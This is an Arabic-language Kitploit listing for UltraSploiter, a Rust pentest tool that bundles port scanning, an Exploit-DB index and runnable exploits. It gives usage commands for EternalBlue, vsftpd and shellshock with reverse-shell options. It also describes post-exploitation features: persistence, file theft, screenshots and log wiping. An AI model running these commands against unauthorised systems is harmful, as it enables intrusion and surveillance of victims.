Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ultrasploiter — ثنائي واحد يدمج ماسح منافذ، وفهرس Exploit-DB الكامل (47 ألف مدخل) ووحدات استغلال قابلة للتشغيل في أداة واحدة. مكتوب بلغة Rust، ويعمل على Linux وWindows وmacOS. | Kitploit
أدوات/GitLabGitLab/vqkro/ultrasploiter
أطر اختبار الاختراقالاستطلاعماسحات الثغرات الأمنيةأطر الاستغلالتخطيط الشبكةمسح المنافذالاستغلالاستغلال تطبيقات الويبجمع المعلوماتالقيادة والسيطرةالفريق الأحمرتطوير الحمولات
143منذ 15 أياملم تتم المراجعة بعد
GitLabvqkro/ultrasploiter

ultrasploiter

ثنائي واحد يدمج ماسح منافذ، وفهرس Exploit-DB الكامل (47 ألف مدخل) ووحدات استغلال قابلة للتشغيل في أداة واحدة. مكتوب بلغة Rust، ويعمل على Linux وWindows وmacOS.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

UltraSploiter

ماسح منافذ، وفهرس exploit-db الكامل، ومجموعة من الاستغلالات القابلة للتشغيل في ملف تنفيذي واحد. ملف واحد، بلا اعتماديات. لينكس وويندوز وماكوس.

إذا كنت عادةً تلجأ إلى nmap + searchsploit + metasploit، فهذا هو الثلاثة جميعًا خلف أمر واحد:

عادةًهنا
nmapUltraSploiter scan <ip>
searchsploitUltraSploiter search <kw>
msfconsoleUltraSploiter exploit <ip> <module>

UltraSploiter menu

الجديد في 2.0.0

هذا إصدار كبير. الفكرة كلها من الإصدار هي أن يكون المسح وصولًا إلى صدفة أمر أشبه بحركة واحدة، وبمجرد وصولك إلى الجهاز يجب ألا تكون تكتب أوامر خام في أنبوب بليد.

  • صدفة ما بعد الاستغلال — عندما تنجح جلسة، يفتح sessions -i <id> قائمة حقيقية تتحكم بها عبر ↑/↓ وenter. نفّذ الأوامر، اعرض الملفات، اسحب الملفات نزولًا، ادفع الملفات صعودًا، التقط لقطة شاشة لسطح مكتبهم مباشرة إلى جهازك، بدّل خلفية سطح مكتبهم، استخرج معلومات النظام، ثبّت الاستمرارية، نظّف. كل إجراء يحدد ويندوز مقابل لينكس من تلقاء نفسه.
  • ماسح أسرع — التزامن لكل قالب توقيت تضاعف تقريبًا (-T3 أصبح 2500 مقبس قيد التنفيذ الآن، و-T5 هو 12000)، لذا ينجز مسح أفضل 1000 منفذ بشكل أسرع noticeably على شبكة حية.
  • بصمات أكثر دقة — توسّعت جدول الإصدارات كثيرًا: ssh، ftp، smtp/imap، apache/nginx/iis/php/aspnet/tomcat/jetty، mysql/mariadb، redis، memcached، mongodb، elasticsearch، mssql/postgres، vnc، rdp، smb، docker، rabbitmq، jenkins/grafana/gitlab، rsync، mqtt، أجهزة vpn وأكثر من ذلك. مزيد من المنافذ تحصل على فحص حقيقي أيضًا (110/143/2375/5672/15672…).
  • ترتيب بحث أذكى — بحث الوحدات أصبح مُقيَّمًا الآن: معرّف أو اسم وحدة مطابق يفوز، ثم العنوان/المنتج، ثم cve، والوحدات القابلة للتشغيل تطفو فوق النتائج الوثائقية فقط. لا مزيد من الضجيج الأبجدي في الأعلى.
  • استقرار عند الإطلاق — الوحدة التي تصاب بالذعر لم تعد تأخذ العملية بأكملها معها. تُنفَّذ عمليات الاستغلال على خيطها الخاص مع اعتراض التراجع، وبعد تشغيل ناجح تخبرك أن جلسة فُتحت.

النسخة المختصرة: نفس الوعد الثلاثي الأحرف، ومسار أقصر بكثير من scan إلى صدفة أمر على الجهاز.

صدفة ما بعد الاستغلال

عندما تتصل صدفة عكسية تُسجَّل كجلسة. ادخل إلى القائمة:

UltraSploiter console
usp > sessions
usp > sessions -i 1

تحصل على قائمة تتنقل فيها بمفاتيح الأسهم (مفاتيح الأرقام تقفز أيضًا)، وEnter للاختيار:

الإجراءما الذي يفعله
shellصدفة أوامر تفاعلية، back للعودة
filesls -la / أو dir C:\
sysinfoالمضيف، المستخدم، نظام التشغيل، الواجهات
screenshotيلتقط سطح مكتب الهدف، ويحفظه في ~/.ultrasploiter/loot
downloadيسحب ملفًا إلى ~/.ultrasploiter/loot (base64)
uploadيدفع ملفًا محليًا إلى الهدف (base64)
wallpaperينزّل صورة ويضبطها كخلفية شاشة لديهم
persistيكتب إدخال إعادة تشغيل (يسأل أولًا)
cleanupيمسح سجل الصدفة والآثار المؤقتة

يكتشف نظام تشغيل الهدف بنفسه (linux مقابل windows) ويبني الأمر الصحيح لكل إجراء — powershell على windows، وsh/coreutils على linux. تمر نقل الملفات عبر المقبس الموجود بصيغة base64، لذا لا يلزم تثبيت أي شيء آخر على أي من الجانبين.

UltraSploiter post-exploitation shell

الحصول عليه

أسهل طريقة هي مجرد أخذ الملف التنفيذي المُجمَّع مسبقًا وتشغيله. لا شيء لتثبيته.

من صفحة الإصدارات:

  • windows - UltraSploiter-windows-x86_64.exe، انقر عليه نقرًا مزدوجًا
  • linux - UltraSploiter-linux-x86_64
  • macos - لا يوجد إصدار مُجمَّع مسبقًا بعد، ابنِه بأمر واحد (أدناه)

إنها أداة أمنية لذا ستنبّه إليها برامج مكافحة الفيروسات وSmartScreen. على windows انقر more info -> run anyway، أو أضف استثناءً إذا كنت ستحتفظ بها.

windows

انقر نقرًا مزدوجًا على UltraSploiter.exe، تُفتح القائمة. إذا اشتكى SmartScreen من ناشر غير معروف (وسيفعل، فهي غير موقّعة)، انقر more info -> run anyway.

linux

chmod +x UltraSploiter-linux-x86_64
./UltraSploiter-linux-x86_64

macos

chmod +x UltraSploiter-macos-arm64
./UltraSploiter-macos-arm64

إذا حظر gatekeeper التطبيق (مرة أخرى، لأنه غير موقّع) انقر بزر الفأرة الأيمن -> فتح، أو امسح علامة الحجر الصحي مرة واحدة:

xattr -d com.apple.quarantine UltraSploiter-macos-arm64

بناؤه

لا تحتاج إليه إلا إذا لم يكن هناك ملف ثنائي (binary) لمنصتك أو إذا أردت تغيير شيء ما. يتطلب rust 1.74+.

لينكس

sudo apt install build-essential
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh

macos

xcode-select --install
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh

windows

git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
.\build.ps1

يستخدم build.ps1 سلسلة أدوات gnu لذا لا تحتاج إلى visual studio أو msvc، فهو يثبّتها إن كانت مفقودة. إذا كانت لديك بالفعل أدوات بناء msvc فإن cargo build --release العادي يعمل أيضًا.

عقبة واحدة على windows: يستدعي windows-sys (الذي يجلبه tokio) الأمر dlltool، الذي يحتاج إلى المُجمّع as، ومكوّن rust-mingw لا يوفّره. يبحث build.ps1 عن مجلد mingw bin يحتوي عليه في tools\mingw64\bin و %USERPROFILE%\tools\mingw64\bin ويضيفه إلى مقدمة PATH. ضع بناء winlibs في أحد هذين المسارين إذا واجهت error calling dlltool. لا يؤثر ذلك على msvc.

تشغيله

بدون وسائط تحصل على القائمة:

   1)  Scan a target           find open ports and services
   2)  Search exploits         keyword lookup
   3)  List runnable modules
   4)  Run an exploit          pick a target and a module
   5)  Console                 advanced msf-style commands
   0)  Exit

سطر الأوامر

الصيغة المختصرة: أعطِه هدفًا، وأضف وحدة إذا أردت تشغيل إحداها، وسيتولى الباقي.

UltraSploiter 10.0.0.5                           # scan it (same as scan 10.0.0.5)
UltraSploiter 10.0.0.5 -p 22,80,443 -T4          # scan with flags
UltraSploiter 10.0.0.5 vsftpd_234                # run a native/catalog module
UltraSploiter 10.0.0.5 exploit/windows/smb/ms17_010_eternalblue
                                                 # route an msf module, RHOSTS set for you

الأوامر الصريحة، إذا كنت تفضّلها:

UltraSploiter scan 10.0.0.5                      # top 1000 ports + fingerprint + suggestions
UltraSploiter scan 10.0.0.0/24 -p 22,80,443      # host discovery, then scan the live ones
UltraSploiter scan 10.0.0.1-50 -p 1-1024 -T4     # range, fast timing
UltraSploiter scan 10.0.0.5 -p -                 # all 65535 ports
UltraSploiter scan 10.0.0.5 -sU                  # UDP scan
UltraSploiter scan 10.0.0.0/24 --check           # scan then safely check matched modules
UltraSploiter scan 10.0.0.5 -sC                  # default scripts (ssh/smb/redis/tls)
UltraSploiter scan 10.0.0.5 --json
UltraSploiter scan 10.0.0.5 -oX out.xml
UltraSploiter search samba
UltraSploiter search apache -n 20 --type remote --platform linux
UltraSploiter info 17491
UltraSploiter show 17491                          # print the PoC source for an Exploit-DB id
UltraSploiter modules
UltraSploiter msf search smb                      # bridge to Metasploit (needs it installed)
UltraSploiter exploit 10.0.0.5 vsftpd_234
UltraSploiter exploit 10.0.0.5 shellshock -o lhost=10.0.0.1 -o lport=4444
UltraSploiter console

على linux/macos أضف البادئة ./ (مثل ./UltraSploiter scan 10.0.0.5).

الأسماء المستعارة: find = search، list = modules، run = exploit.

أعلام scan

تنزيل الأداة